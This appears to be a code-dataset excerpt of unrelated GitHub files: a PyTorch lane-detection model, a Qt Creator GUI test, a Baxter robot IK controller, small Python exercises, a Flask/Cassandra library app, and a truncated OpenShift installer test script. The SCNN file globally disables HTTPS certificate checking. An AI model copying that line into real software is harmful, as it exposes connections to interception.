import build_extension\nfrom modeling.build_rnn import build_rnn\nimport ssl\nssl._create_default_https_context = ssl._create_unverified_context\n\nclass SCNN(nn.Module):\n def __init__(self, backbone='resnet', output_stride=16,nclass = 19,cuda= True,extension=None):\n super(SCNN, self).__init__()\n if backbone == 'drn':\n output_stride = 8\n\n BatchNorm = nn.BatchNorm2d\n if cuda == True:\n device = \"cuda\"\n else:\n device = \"cpu\"\n self.backbone = build_backbone(backbone, output_stride, BatchNorm)\n self.rnn = build_rnn(32,device)\n self.conv0 = nn.Sequential(nn.Conv2d(2048, 32, 3, padding=1, bias=False),\n BatchNorm(32),\n nn.ReLU())\n self.conv1 = nn.Sequential(nn.Conv2d(32, nclass, 3, padding=1, bias=False),\n BatchNorm(nclass),\n nn.ReLU())\n self.conv2 = nn.Sequential(nn.Conv2d(32, 2, 3, padding=1, bias=False),\n BatchNorm(2),\n nn.Softmax())\n self.dropout = nn.Dropout2d()\n self.extension = build_extension(ext=extension,out_channels=nclass, kernel_size=3, padding=1, n_resblocks=3)\n\n\n\n\n def forward(self, input):\n x1,x2,x3,x4 = self.backbone(input)\n x = x1.view(x1.size()).permute(0, 2, 3, 1)\n x = self.rnn(x)\n x = self.conv0(x)\n x = self.dropout(x)\n # x = F.interpolate(x, size=input.size()[2:], mode='bilinear', align_corners=True)\n x = self.extension(x,x2,x3,x4)\n y = self.conv2(x)\n x = self.conv1(x)\n\n # a= y.data.cpu().numpy()\n\n return x, y\n\n\nif __name__ == \"__main__\":\n\n inputs = torch.rand(2, 3, 512, 512)# N x C x H x W\n # N, C, H, W = x.size()\n # inputs = inputs.view(inputs.size()).permute(0, 2, 3, 1)\n # print(\"x.size():\", inputs.size())\n\n\n # inputs = torch.rand(8, 36, 100, 128)# N x H x W x C\n channel = inputs.size()[1]\n model = SCNN(\"mobilenet\")\n output = model(inputs)\n print(output.size())\n","repo_name":"mukaman84/pytorch-template","sub_path":"modeling/SCNN.py","file_name":"SCNN.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1454476556","text":"source(\"../../shared/qtcreator.py\")\nsource(\"../../shared/suites_qtta.py\")\n\n# entry of test\ndef main():\n # expected error texts - for different compilers\n expectedErrorAlternatives = [\"'SyntaxError' was not declared in this scope\",\n u\"\\u2018SyntaxError\\u2019 was not declared in this scope\",\n \"'SyntaxError' : undeclared identifier\", # MSVC2013\n \"'SyntaxError': undeclared identifier\", # MSVC2015\n \"use of undeclared identifier 'SyntaxError'\",\n \"unknown type name 'SyntaxError'\"]\n startQC()\n if not startedWithoutPluginError():\n return\n # create qt quick application\n createNewQtQuickApplication(tempDir(), \"SampleApp\")\n # create syntax error in cpp file\n if not openDocument(\"SampleApp.appSampleApp.Source Files.main\\\\.cpp\"):\n test.fatal(\"Could not open main.cpp - exiting.\")\n invokeMenuItem(\"File\", \"Exit\")\n return\n if not appendToLine(waitForObject(\":Qt Creator_CppEditor::Internal::CPPEditorWidget\"), \"QQmlApplicationEngine engine;\", \"SyntaxError\"):\n invokeMenuItem(\"File\", \"Exit\")\n return\n # save all\n invokeMenuItem(\"File\", \"Save All\")\n # build it - on all build configurations\n availableConfigs = iterateBuildConfigs()\n if not availableConfigs:\n test.fatal(\"Haven't found a suitable Qt version - leaving without building.\")\n for kit, config in availableConfigs:\n selectBuildConfig(kit, config)\n # try to compile\n test.log(\"Testing build configuration: \" + config)\n clickButton(waitForObject(\":*Qt Creator.Build Project_Core::Internal::FancyToolButton\"))\n # wait until build finished\n waitForCompile()\n # open issues list view\n ensureChecked(waitForObject(\":Qt Creator_Issues_Core::Internal::OutputPaneToggleButton\"))\n issuesView = waitForObject(\":Qt Creator.Issues_QListView\")\n # verify that error is properly reported\n test.verify(checkSyntaxError(issuesView, expectedErrorAlternatives, False),\n \"Verifying cpp syntax error while building simple qt quick application.\")\n # exit qt creator\n invokeMenuItem(\"File\", \"Exit\")\n","repo_name":"qt-creator/qt-creator","sub_path":"tests/system/suite_SCOM/tst_SCOM04/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":2230,"dataset":"github-code","pt":"62"} +{"seq_id":"16526979646","text":"\"\"\"\nNOTE: requires pybullet module.\n\nRun `pip install pybullet==1.9.5`.\n\"\"\"\n\nimport os\nimport numpy as np\n\ntry:\n import pybullet as p\nexcept ImportError:\n raise Exception(\n \"Please make sure pybullet is installed. Run `pip install pybullet==1.9.5`\"\n )\n\nfrom .. import transform_utils as T\nfrom ..controllers import Controller\n\n\nclass BaxterIKController(Controller):\n \"\"\"\n Inverse kinematics for the Baxter robot, using Pybullet and the urdf description\n files.\n \"\"\"\n\n def __init__(self, bullet_data_path, robot_jpos_getter):\n \"\"\"\n Args:\n bullet_data_path (str): base path to bullet data.\n\n robot_jpos_getter (function): function that returns the joint positions of\n the robot to be controlled as a numpy array.\n \"\"\"\n # Set up inverse kinematics\n self.robot_jpos_getter = robot_jpos_getter\n\n # Do any setup needed for Inverse Kinematics.\n path = os.path.join(bullet_data_path, \"baxter_description/urdf/baxter_mod.urdf\")\n self.setup_inverse_kinematics(path)\n\n # Should be in (0, 1], smaller values mean less sensitivity.\n self.user_sensitivity = 1.0\n\n self.sync_state()\n\n def get_control(self, right=None, left=None):\n \"\"\"\n Returns joint velocities to control the robot after the target end effector\n positions and orientations are updated from arguments @left and @right.\n If no arguments are provided, joint velocities will be computed based\n on the previously recorded target.\n\n Args:\n left (dict): A dictionary to control the left end effector with these keys.\n\n dpos (numpy array): a 3 dimensional array corresponding to the desired\n change in x, y, and z left end effector position.\n\n rotation (numpy array): a rotation matrix of shape (3, 3) corresponding\n to the desired orientation of the left end effector.\n\n right (dict): A dictionary to control the left end effector with these keys.\n\n dpos (numpy array): a 3 dimensional array corresponding to the desired\n change in x, y, and z right end effector position.\n\n rotation (numpy array): a rotation matrix of shape (3, 3) corresponding\n to the desired orientation of the right end effector.\n\n Returns:\n velocities (numpy array): a flat array of joint velocity commands to apply\n to try and achieve the desired input control.\n\n\n \"\"\"\n # Sync joint positions for IK.\n self.sync_ik_robot(self.robot_jpos_getter())\n\n # Compute new target joint positions if arguments are provided\n if (right is not None) and (left is not None):\n self.commanded_joint_positions = self.joint_positions_for_eef_command(\n right, left\n )\n\n # P controller from joint positions (from IK) to velocities\n velocities = np.zeros(14)\n deltas = self._get_current_error(\n self.robot_jpos_getter(), self.commanded_joint_positions\n )\n\n for i, delta in enumerate(deltas):\n velocities[i] = -2 * delta\n velocities = self.clip_joint_velocities(velocities)\n\n self.commanded_joint_velocities = velocities\n return velocities\n\n # For debugging purposes: set joint positions directly\n # robot.set_joint_positions(self.commanded_joint_positions)\n\n def sync_state(self):\n \"\"\"\n Syncs the internal Pybullet robot state to the joint positions of the\n robot being controlled.\n \"\"\"\n\n # sync IK robot state to the current robot joint positions\n self.sync_ik_robot(self.robot_jpos_getter())\n\n # make sure target pose is up to date\n pos_r, orn_r, pos_l, orn_l = self.ik_robot_eef_joint_cartesian_pose()\n\n self.ik_robot_target_pos_right = pos_r\n self.ik_robot_target_orn_right = orn_r\n self.ik_robot_target_pos_left = pos_l\n self.ik_robot_target_orn_left = orn_l\n\n def setup_inverse_kinematics(self, urdf_path):\n \"\"\"\n This function is responsible for doing any setup for inverse kinematics.\n Inverse Kinematics maps end effector (EEF) poses to joint angles that\n are necessary to achieve those poses.\n \"\"\"\n\n # These indices come from the urdf file we're using\n self.effector_right = 27\n self.effector_left = 45\n\n # Use PyBullet to handle inverse kinematics.\n # Set up a connection to the PyBullet simulator.\n p.connect(p.DIRECT)\n p.resetSimulation()\n\n self.ik_robot = p.loadURDF(urdf_path, (0, 0, 0), useFixedBase=1)\n\n # Relevant joints we care about. Many of the joints are fixed and don't count, so\n # we need this second map to use the right ones.\n self.actual = [13, 14, 15, 16, 17, 19, 20, 31, 32, 33, 34, 35, 37, 38]\n\n self.num_joints = p.getNumJoints(self.ik_robot)\n n = p.getNumJoints(self.ik_robot)\n self.rest = []\n self.lower = []\n self.upper = []\n self.ranges = []\n for i in range(n):\n info = p.getJointInfo(self.ik_robot, i)\n # Retrieve lower and upper ranges for each relevant joint\n if info[3] > -1:\n self.rest.append(p.getJointState(self.ik_robot, i)[0])\n self.lower.append(info[8])\n self.upper.append(info[9])\n self.ranges.append(info[9] - info[8])\n\n # Simulation will update as fast as it can in real time, instead of waiting for\n # step commands like in the non-realtime case.\n p.setRealTimeSimulation(1)\n\n def sync_ik_robot(self, joint_positions, simulate=False, sync_last=True):\n \"\"\"\n Force the internal robot model to match the provided joint angles.\n\n Args:\n joint_positions (list): a list or flat numpy array of joint positions.\n simulate (bool): If True, actually use physics simulation, else\n write to physics state directly.\n sync_last (bool): If False, don't sync the last joint angle. This\n is useful for directly controlling the roll at the end effector.\n \"\"\"\n num_joints = len(joint_positions)\n if not sync_last:\n num_joints -= 1\n for i in range(num_joints):\n if simulate:\n p.setJointMotorControl2(\n self.ik_robot,\n self.actual[i],\n p.POSITION_CONTROL,\n targetVelocity=0,\n targetPosition=joint_positions[i],\n force=500,\n positionGain=0.5,\n velocityGain=1.,\n )\n else:\n # Note that we use self.actual[i], and not i\n p.resetJointState(self.ik_robot, self.actual[i], joint_positions[i])\n\n def ik_robot_eef_joint_cartesian_pose(self):\n \"\"\"\n Returns the current cartesian pose of the last joint of the ik robot with respect\n to the base frame as a (pos, orn) tuple where orn is a x-y-z-w quaternion.\n \"\"\"\n out = []\n for eff in [self.effector_right, self.effector_left]:\n eef_pos_in_world = np.array(p.getLinkState(self.ik_robot, eff)[0])\n eef_orn_in_world = np.array(p.getLinkState(self.ik_robot, eff)[1])\n eef_pose_in_world = T.pose2mat((eef_pos_in_world, eef_orn_in_world))\n\n base_pos_in_world = np.array(\n p.getBasePositionAndOrientation(self.ik_robot)[0]\n )\n base_orn_in_world = np.array(\n p.getBasePositionAndOrientation(self.ik_robot)[1]\n )\n base_pose_in_world = T.pose2mat((base_pos_in_world, base_orn_in_world))\n world_pose_in_base = T.pose_inv(base_pose_in_world)\n\n eef_pose_in_base = T.pose_in_A_to_pose_in_B(\n pose_A=eef_pose_in_world, pose_A_in_B=world_pose_in_base\n )\n out.extend(T.mat2pose(eef_pose_in_base))\n\n return out\n\n def inverse_kinematics(\n self,\n target_position_right,\n target_orientation_right,\n target_position_left,\n target_orientation_left,\n rest_poses,\n ):\n \"\"\"\n Helper function to do inverse kinematics for a given target position and\n orientation in the PyBullet world frame.\n\n Args:\n target_position_{right, left}: A tuple, list, or numpy array of size 3 for position.\n target_orientation_{right, left}: A tuple, list, or numpy array of size 4 for\n a orientation quaternion.\n rest_poses: A list of size @num_joints to favor ik solutions close by.\n\n Returns:\n A list of size @num_joints corresponding to the joint angle solution.\n \"\"\"\n\n ndof = 48\n\n ik_solution = list(\n p.calculateInverseKinematics(\n self.ik_robot,\n self.effector_right,\n target_position_right,\n targetOrientation=target_orientation_right,\n restPoses=rest_poses[:7],\n lowerLimits=self.lower,\n upperLimits=self.upper,\n jointRanges=self.ranges,\n jointDamping=[0.7] * ndof,\n )\n )\n ik_solution2 = list(\n p.calculateInverseKinematics(\n self.ik_robot,\n self.effector_left,\n target_position_left,\n targetOrientation=target_orientation_left,\n restPoses=rest_poses[7:],\n lowerLimits=self.lower,\n upperLimits=self.upper,\n jointRanges=self.ranges,\n jointDamping=[0.7] * ndof,\n )\n )\n for i in range(8, 15):\n ik_solution[i] = ik_solution2[i]\n\n return ik_solution[1:]\n\n def bullet_base_pose_to_world_pose(self, pose_in_base):\n \"\"\"\n Convert a pose in the base frame to a pose in the world frame.\n\n Args:\n pose_in_base: a (pos, orn) tuple.\n\n Returns:\n pose_in world: a (pos, orn) tuple.\n \"\"\"\n pose_in_base = T.pose2mat(pose_in_base)\n\n base_pos_in_world = np.array(p.getBasePositionAndOrientation(self.ik_robot)[0])\n base_orn_in_world = np.array(p.getBasePositionAndOrientation(self.ik_robot)[1])\n base_pose_in_world = T.pose2mat((base_pos_in_world, base_orn_in_world))\n\n pose_in_world = T.pose_in_A_to_pose_in_B(\n pose_A=pose_in_base, pose_A_in_B=base_pose_in_world\n )\n return T.mat2pose(pose_in_world)\n\n def joint_positions_for_eef_command(self, right, left):\n \"\"\"\n This function runs inverse kinematics to back out target joint positions\n from the provided end effector command.\n\n Same arguments as @get_control.\n\n Returns:\n A list of size @num_joints corresponding to the target joint angles.\n \"\"\"\n\n dpos_right = right[\"dpos\"]\n dpos_left = left[\"dpos\"]\n self.target_pos_right = self.ik_robot_target_pos_right + np.array([0, 0, 0.913])\n self.target_pos_left = self.ik_robot_target_pos_left + np.array([0, 0, 0.913])\n self.ik_robot_target_pos_right += dpos_right * self.user_sensitivity\n self.ik_robot_target_pos_left += dpos_left * self.user_sensitivity\n\n rotation_right = right[\"rotation\"]\n rotation_left = left[\"rotation\"]\n self.ik_robot_target_orn_right = T.mat2quat(rotation_right)\n self.ik_robot_target_orn_left = T.mat2quat(rotation_left)\n\n # convert from target pose in base frame to target pose in bullet world frame\n world_targets_right = self.bullet_base_pose_to_world_pose(\n (self.ik_robot_target_pos_right, self.ik_robot_target_orn_right)\n )\n world_targets_left = self.bullet_base_pose_to_world_pose(\n (self.ik_robot_target_pos_left, self.ik_robot_target_orn_left)\n )\n\n # Empirically, more iterations aren't needed, and it's faster\n # for _ in range(5):\n for _ in range(20):\n arm_joint_pos = self.inverse_kinematics(\n world_targets_right[0],\n world_targets_right[1],\n world_targets_left[0],\n world_targets_left[1],\n rest_poses=self.robot_jpos_getter(),\n )\n self.sync_ik_robot(arm_joint_pos, sync_last=True)\n\n return arm_joint_pos\n\n def _get_current_error(self, current, set_point):\n \"\"\"\n Returns an array of differences between the desired joint positions and current\n joint positions. Useful for PID control.\n\n Args:\n current: the current joint positions.\n set_point: the joint positions that are desired as a numpy array.\n\n Returns:\n the current error in the joint positions.\n \"\"\"\n error = current - set_point\n return error\n\n def clip_joint_velocities(self, velocities):\n \"\"\"\n Clips joint velocities into a valid range.\n \"\"\"\n for i in range(len(velocities)):\n if velocities[i] >= 1.0:\n velocities[i] = 1.0\n elif velocities[i] <= -1.0:\n velocities[i] = -1.0\n return velocities\n","repo_name":"clvrai/furniture","sub_path":"furniture/env/controllers/baxter_ik_controller.py","file_name":"baxter_ik_controller.py","file_ext":"py","file_size_in_byte":13440,"program_lang":"python","lang":"en","doc_type":"code","stars":457,"dataset":"github-code","pt":"62"} +{"seq_id":"3908469405","text":"print('Движение по координатам')\nx = 0\ny = 0\nprint('Начальная позиция: (',x,';',y,')')\nch = True\nwhile ch:\n a = input('В каком направлении хотите переместиться?\\nНаправление: ')\n n = int(input('На какое расстояние хотите перемститься?\\nРасстояние: '))\n if a == 'U' or a == 'u':\n y+=n\n elif a == 'D' or a == 'd':\n y = y - n\n elif a == 'R' or a == 'r':\n x+=n\n elif a == 'L' or a == 'l':\n x= x - n\n print('Переместились в: (',x,';',y,')')\n ex = input('\\nХотите поменять свою позицию?\\n Y - Да\\n Любой другой символ - Exit\\n')\n if ex == 'Y' or ex == 'y':\n continue\n else:\n print('Пока-пока!')\n if ex == \"Y\":\n ch = True\n else:\n ch = False","repo_name":"litriq/tensorlitvit","sub_path":"les3_2.py","file_name":"les3_2.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26816512098","text":"'''\nfor future ref: pandas r a much better, quicker, cleaner way of doing this.\nit even outputs smth that is easier to read.\nidk y they made us do all this but they did.\n'''\n#%%\n'''\nin this task, we were supposed to produce all of this in the form of functions.\nthe actual way this was supposed to be done will be found at the bottom'''\nimport csv\n\nwith open('user_details.csv', 'r') as csv_file: #opening and naming the file csv_file. the 'r' is telling it what mode to open it as. with means it will open and close alone.\n csv_read = csv.reader(csv_file, delimiter=',') #telling it to read everything and that it is all seperated by a comma\n for lines in csv_read: #now can start cleaning each bit of info if want to\n# print(lines) #just printing what the for loop is doing\n username = lines[4].split('@')[0] #performing cleaning function for line 4 to produce just the username from the email. cleaning is called transforming in tech world.\n print(lines[1], lines[2] + ', ' + username) #[] is index so u dont need to write .index.\n\n#%%\n'''\nnow we are going to write to new file using the above.\nwhen u run this it shd open a new file that it created for u to add the new info to.\n'''\nimport csv # import csv package\n# import pandas as pd # import package pandas with alias pd\n\nwith open('user_details.csv', 'r') as csv_file: # opens the user details csv file in reading mode 'r'.\n csv_read = csv.reader(csv_file, delimiter=',') # creates a variable that represents reading the file, with the data seperated by ','.\n with open('new_details.csv', 'w') as csv_new_file: # creates a new csv file with name parsed in in write mode 'w'.\n csv_write = csv.writer(csv_new_file, delimiter=',') # creates a variable that represents the ability to write to the file.\n for lines in csv_read: # for loop that iterates through each row in the file, where 'lines' represents each row of information.\n username = lines[4].split('@')[0] # cleaning the email column, splitting at '@' to get everything in front of it.\n row = [lines[1], lines[2], username] # combines the individual columns into a list.\n csv_write.writerow(row) # writes each row to the new file.\n\n# with open('user_details.csv', 'a') as csv_file:\n# csv_read = csv.reader(csv_file, delimiter=',')\n# csv_writer = csv.writer(csv_file, delimiter=',')\n# for lines in csv_read:\n# username = lines[4].split('@')[0]\n# # print(lines[1], lines[2], username)\n# row = [lines[1], lines[2], username]\n# csv_write.writerow(row)\n\n\n#%%\n'''\nMode\tDescription\n'r'\tThis is the default mode. It Opens file for reading.\n'w'\tThis Mode Opens file for writing. If file does not exist, it creates a new file. If file exists it truncates the file.\n'x'\tCreates a new file. If file already exists, the operation fails.\n'a'\tOpen file in append mode. If file does not exist, it creates a new file.\n't'\tThis is the default mode. It opens in text mode.\n'b'\tThis opens in binary mode.\n'+'\tThis will open a file for reading and writing (updating)\n'''\n\n#%%\n'''\nsame thing but using functions:\n'''\n\n\n\nimport csv #importing package\n\ndef open_file(file_name): #defining function\n with open(file_name, \"r\") as csvfile: #opening file with the alias 'csvfile' and reading it.\n csvreader = csv.reader(csvfile) #naming csvreader to use later. this is us acc reading the file we said is open in reading mode in the line above\n new_list_of_lists = [] #an empty list that we r going to append all the info in the file to.\n for line in csvreader:\n new_list_of_lists.append(line) #for every row in csvreader we r going to add it to our new_list_of_lists\n return new_list_of_lists #returned a list of lists containing all data\n\ndef transform_csv(file_name): #transformation is the cleaning\n old_data = open_file(file_name) #calling prev function to use in this function. without this we cannot access the data we read above\n clean_data = []\n for lines in old_data:\n username = lines[4].split('@')[0]\n row = [lines[1], lines[2], username] #this is the new list that will be produced\n clean_data.append(row) #adding this list to the new data which will be another list of lists\n return clean_data\n\ndef write_csv(old_file, new_file):\n with open(new_file, \"w\") as csv_writer: #creating a file w new file w ability to write it w alias csv_writer\n csvwriter = csv.writer(csv_writer) #creating variable to be able to acc write to it. this reps the new file.\n csvwriter.writerows(transform_csv(old_file)) #this is us acc writing to it\n\nwrite_csv(\"user_details.csv\", \"new_file.csv\") #this is just so we r able to run it. \"calling the function\"\n\n\n# %%\n","repo_name":"skhalayla/Data204-Notes","sub_path":"import_csv.py","file_name":"import_csv.py","file_ext":"py","file_size_in_byte":4758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38641929707","text":"from cassandra.cluster import Cluster\nfrom flask import Flask, request, send_from_directory, jsonify\nfrom utils import *\nimport threading\n\n\n# cluster = Cluster(['172.21.0.2'], port=9042)\ncluster = Cluster(['cassandra1', 'cassandra2', 'cassandra3'])\nsession = cluster.connect()\nsession.execute('USE library')\n\npage_name = 'library.html'\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return send_from_directory('', page_name)\n\n\ndef start_server():\n app.run(host='0.0.0.0', port=8089)\n # app.run(port=8080)\n \n\n@app.route('/process', methods=['POST'])\ndef process():\n data = request.get_json()\n button = data['button']\n if button == 'add_button':\n name = data['addBookName']\n author = data['addBookAuthor']\n year = data['addBookYear']\n publisher = data['addBookPublisher']\n result = add_new_book(session, name, author, year, publisher)\n elif button == 'info_button':\n name = data['infoBookName']\n result = get_book_info(session, name)\n elif button == 'remove_button':\n name = data['removeBookName']\n result = remove_book(session, name)\n elif button == 'reserve_button':\n name = data['reserveBookName']\n card_id = data['reserveCardId']\n result = make_reservation(session, name, card_id)\n elif button == 'return_button':\n name = data['returnBookName']\n result = cancel_reservation(session, name)\n elif button == 'get_list_button':\n books = get_list_of_books(session)\n return jsonify(books=books)\n else:\n result = 'Error'\n\n return jsonify(result=result)\n\n\nif __name__ == '__main__':\n server_thread = threading.Thread(target=start_server)\n server_thread.start()\n\n server_thread.join()","repo_name":"Giminosk/book-database-management","sub_path":"flask_server.py","file_name":"flask_server.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11943225103","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport dns.resolver\nimport ipaddress\nimport json\nimport os\nimport time\nimport distutils.util\nfrom netaddr import IPNetwork, IPAddress\n\nfrom test_infra import assisted_service_api, consts, utils\nfrom test_infra.helper_classes import cluster as helper_cluster\nimport install_cluster\nimport oc_utils\nimport day2\nfrom logger import log\nfrom test_infra.utils import config_etc_hosts\nfrom test_infra.tools import terraform_utils\nfrom test_infra.tools import static_ips\nimport bootstrap_in_place as ibip\n\n\nclass MachineNetwork(object):\n YES_VALUES = ['yes', 'true', 'y']\n\n def __init__(self, ip_v4, ip_v6, machine_cidr_4, machine_cidr_6, ns_index):\n self.has_ip_v4 = ip_v4.lower() in MachineNetwork.YES_VALUES\n self.has_ip_v6 = ip_v6.lower() in MachineNetwork.YES_VALUES\n\n if not (self.has_ip_v4 or self.has_ip_v6):\n raise Exception(\"At least one of IPv4 or IPv6 must be enabled\")\n\n self.cidr_v4 = machine_cidr_4\n self.cidr_v6 = machine_cidr_6\n self.provisioning_cidr_v4 = _get_provisioning_cidr(machine_cidr_4, ns_index)\n self.provisioning_cidr_v6 = _get_provisioning_cidr6(machine_cidr_6, ns_index)\n\ndef set_tf_config(cluster_name):\n nodes_details = _create_node_details(cluster_name)\n tf_folder = utils.get_tf_folder(cluster_name, args.namespace)\n utils.recreate_folder(tf_folder)\n\n utils.copy_template_tree(tf_folder, is_none_platform_mode())\n\n machine_net = MachineNetwork(args.ipv4, args.ipv6, args.vm_network_cidr, args.vm_network_cidr6, args.ns_index)\n default_image_path = os.path.join(consts.IMAGE_FOLDER, f'{args.namespace}-installer-image.iso')\n fill_tfvars(\n image_path=args.image or default_image_path,\n storage_path=args.storage_path,\n master_count=args.master_count,\n nodes_details=nodes_details,\n tf_folder=tf_folder,\n machine_net=machine_net\n )\n\n\n# Filling tfvars json files with terraform needed variables to spawn vms\ndef fill_tfvars(\n image_path,\n storage_path,\n master_count,\n nodes_details,\n tf_folder,\n machine_net\n):\n tfvars_json_file = os.path.join(tf_folder, consts.TFVARS_JSON_NAME)\n with open(tfvars_json_file) as _file:\n tfvars = json.load(_file)\n\n master_starting_ip = str(\n ipaddress.ip_address(\n ipaddress.IPv4Network(machine_net.cidr_v4).network_address\n )\n + 10\n )\n worker_starting_ip = str(\n ipaddress.ip_address(\n ipaddress.IPv4Network(machine_net.cidr_v4).network_address\n )\n + 10\n + int(tfvars[\"master_count\"])\n )\n master_count = min(master_count, consts.NUMBER_OF_MASTERS)\n worker_count = nodes_details['worker_count']\n tfvars['image_path'] = image_path\n tfvars['master_count'] = master_count\n if machine_net.has_ip_v4:\n tfvars['libvirt_master_ips'] = utils.create_ip_address_nested_list(\n master_count, starting_ip_addr=master_starting_ip\n )\n tfvars['libvirt_worker_ips'] = utils.create_ip_address_nested_list(\n worker_count, starting_ip_addr=worker_starting_ip\n )\n else:\n tfvars['libvirt_master_ips'] = utils.create_empty_nested_list(master_count)\n tfvars['libvirt_worker_ips'] = utils.create_empty_nested_list(worker_count)\n\n machine_cidr_addresses = []\n provisioning_cidr_addresses = []\n\n if machine_net.has_ip_v4:\n machine_cidr_addresses += [machine_net.cidr_v4]\n provisioning_cidr_addresses += [machine_net.provisioning_cidr_v4]\n\n if machine_net.has_ip_v6:\n machine_cidr_addresses += [machine_net.cidr_v6]\n provisioning_cidr_addresses += [machine_net.provisioning_cidr_v6]\n\n tfvars['machine_cidr_addresses'] = machine_cidr_addresses\n tfvars['provisioning_cidr_addresses'] = provisioning_cidr_addresses\n tfvars['api_vip'] = _get_vips_ips(machine_net)[0]\n tfvars['libvirt_storage_pool_path'] = storage_path\n tfvars['libvirt_master_macs'] = static_ips.generate_macs(master_count)\n tfvars['libvirt_worker_macs'] = static_ips.generate_macs(worker_count)\n tfvars.update(nodes_details)\n\n tfvars.update(_secondary_tfvars(master_count, nodes_details, machine_net))\n\n with open(tfvars_json_file, \"w\") as _file:\n json.dump(tfvars, _file)\n\n\ndef _secondary_tfvars(master_count, nodes_details, machine_net):\n vars_dict = {}\n vars_dict['libvirt_secondary_master_macs'] = static_ips.generate_macs(master_count)\n if machine_net.has_ip_v4:\n secondary_master_starting_ip = str(\n ipaddress.ip_address(\n ipaddress.IPv4Network(machine_net.provisioning_cidr_v4).network_address\n )\n + 10\n )\n secondary_worker_starting_ip = str(\n ipaddress.ip_address(\n ipaddress.IPv4Network(machine_net.provisioning_cidr_v4).network_address\n )\n + 10\n + int(master_count)\n )\n else:\n secondary_master_starting_ip = str(\n ipaddress.ip_address(\n ipaddress.IPv6Network(machine_net.provisioning_cidr_v6).network_address\n )\n + 16\n )\n secondary_worker_starting_ip = str(\n ipaddress.ip_address(\n ipaddress.IPv6Network(machine_net.provisioning_cidr_v6).network_address\n )\n + 16\n + int(master_count)\n )\n\n worker_count = nodes_details['worker_count']\n vars_dict['libvirt_secondary_worker_macs'] = static_ips.generate_macs(worker_count)\n if machine_net.has_ip_v4:\n vars_dict['libvirt_secondary_master_ips'] = utils.create_ip_address_nested_list(\n master_count,\n starting_ip_addr=secondary_master_starting_ip\n )\n vars_dict['libvirt_secondary_worker_ips'] = utils.create_ip_address_nested_list(\n worker_count,\n starting_ip_addr=secondary_worker_starting_ip\n )\n else:\n vars_dict['libvirt_secondary_master_ips'] = utils.create_empty_nested_list(master_count)\n vars_dict['libvirt_secondary_worker_ips'] = utils.create_empty_nested_list(worker_count)\n return vars_dict\n\n\n# Run make run terraform -> creates vms\ndef create_nodes(\n tf\n):\n log.info('Start running terraform')\n with utils.file_lock_context():\n return tf.apply()\n\n\n# Starts terraform nodes creation, waits till all nodes will get ip and will move to known status\ndef create_nodes_and_wait_till_registered(\n inventory_client,\n cluster,\n nodes_details,\n tf\n):\n nodes_count = nodes_details['master_count'] + nodes_details[\"worker_count\"]\n create_nodes(\n tf=tf\n )\n\n # TODO: Check for only new nodes\n if not inventory_client:\n # We will wait for leases only if only nodes are created without connection to s\n utils.wait_till_nodes_are_ready(\n nodes_count=nodes_count, network_name=nodes_details[\"libvirt_network_name\"]\n )\n log.info(\"No inventory url, will not wait till nodes registration\")\n return\n\n log.info(\"Wait till nodes will be registered\")\n\n # In case there is assisted service connection, registration to the cluster in the assisted service\n # is checked, and not relying on libvirt leases. This overcomes bug in libvirt that does not report\n # all DHCP leases.\n statuses = [\n consts.NodesStatus.INSUFFICIENT,\n consts.NodesStatus.PENDING_FOR_INPUT,\n ]\n if nodes_details['master_count'] == 1 or is_none_platform_mode():\n statuses.append(consts.NodesStatus.KNOWN)\n\n utils.wait_till_all_hosts_are_in_status(\n client=inventory_client,\n cluster_id=cluster.id,\n nodes_count=nodes_count,\n statuses=statuses)\n\n\ndef set_cluster_vips(client, cluster_id, machine_net):\n cluster_info = client.cluster_get(cluster_id)\n api_vip, ingress_vip = _get_vips_ips(machine_net)\n cluster_info.vip_dhcp_allocation = False\n cluster_info.api_vip = api_vip\n cluster_info.ingress_vip = ingress_vip\n client.update_cluster(cluster_id, cluster_info)\n\n\ndef set_cluster_machine_cidr(client, cluster_id, machine_net, set_vip_dhcp_allocation=True):\n cluster_info = client.cluster_get(cluster_id)\n if set_vip_dhcp_allocation:\n cluster_info.vip_dhcp_allocation = True\n cluster_info.machine_network_cidr = machine_net.cidr_v6 if machine_net.has_ip_v6 and not machine_net.has_ip_v4 else machine_net.cidr_v4\n client.update_cluster(cluster_id, cluster_info)\n\ndef _get_vips_ips(machine_net):\n if machine_net.has_ip_v4:\n network_subnet_starting_ip = str(\n ipaddress.ip_address(\n ipaddress.IPv4Network(machine_net.cidr_v4).network_address\n )\n + 100\n )\n else:\n network_subnet_starting_ip = str(\n ipaddress.ip_address(\n ipaddress.IPv6Network(machine_net.cidr_v6).network_address\n )\n + 100\n )\n ips = utils.create_ip_address_list(\n 2, starting_ip_addr=str(ipaddress.ip_address(network_subnet_starting_ip))\n )\n return ips[0], ips[1]\n\n\ndef _get_host_ip_from_cidr(cidr):\n return str(IPNetwork(cidr).ip + 1)\n\ndef _get_proxy_ip(cidr):\n return IPNetwork(cidr).ip + 1\n\ndef _get_http_proxy_params(ipv4, ipv6):\n if args.proxy:\n ipv6Only = ipv6 and not ipv4\n if ipv6Only:\n proxy_ip = _get_proxy_ip(args.vm_network_cidr6)\n proxy_url = f'http://[{proxy_ip}]:3128'\n no_proxy = ','.join([args.vm_network_cidr6, args.service_network6, args.cluster_network6,\n consts.DEFAULT_TEST_INFRA_DOMAIN])\n else:\n proxy_ip = _get_proxy_ip(args.vm_network_cidr)\n proxy_url = f'http://{proxy_ip}:3128'\n no_proxy = ','.join([args.vm_network_cidr, args.service_network, args.cluster_network,\n consts.DEFAULT_TEST_INFRA_DOMAIN])\n return proxy_url, proxy_url, no_proxy\n else:\n return args.http_proxy, args.https_proxy, args.no_proxy\n\n\n\n# TODO add config file\n# Converts params from args to assisted-service cluster params\ndef _cluster_create_params():\n 